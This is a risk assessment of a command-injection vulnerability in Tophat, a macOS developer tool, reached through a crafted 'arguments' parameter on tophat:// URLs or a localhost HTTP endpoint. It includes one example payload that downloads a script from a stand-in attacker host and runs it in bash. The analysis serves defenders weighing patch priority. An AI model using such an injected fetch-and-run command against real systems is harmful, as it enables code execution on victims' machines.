Tophat CVE-2026-39862

The CVSS 4.0 score of 6.3 reflects a medium-severity vulnerability with network attack vector and low complexity, but requiring authenticated privileges (PR:L). However, the real-world risk is substantially elevated due to multiple factors: the attack surface is local (localhost:29070) and accessible to any developer process on the same workstation, which contradicts the 'authenticated' severity assumption in typical threat models. The vulnerability requires no user interaction (UI:N) and delivers high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H). EPSS data is not provided, but the exploit characteristics-no complexity, direct command injection, execution under user privileges-suggest high exploitability. The absence of KEV status and no explicit POC reference in input data indicates this may be a recently disclosed or relatively low-profile vulnerability. From an SSVC perspective, exploitation is straightforward (automatable via URL crafting), technical impact is complete system compromise at the user level, and the affected population (developers with Tophat) is specific but potentially wide in development organizations. The primary risk mitigation is the availability of a patched version (2.5.1), which reduces urgency but increases the priority of rapid deployment in development environments.

An attacker with network access to a developer's macOS workstation (or the ability to compromise a process on the same system) crafts a malicious tophat:// URL or sends an HTTP request to http://localhost:29070 with a crafted 'arguments' query parameter containing shell metacharacters and arbitrary commands (e.g., 'arguments=; curl http://attacker.com/malware.sh | bash'). When Tophat processes this URL-either via user interaction with a link, programmatic invocation from a compromised build tool, or cross-application scheme activation-the unsanitized parameter is directly concatenated into a bash command string, executing the attacker's payload under the developer's user privileges. No public exploit code has been identified at the time of analysis, though the simplicity of URL-based command injection makes proof-of-concept development trivial.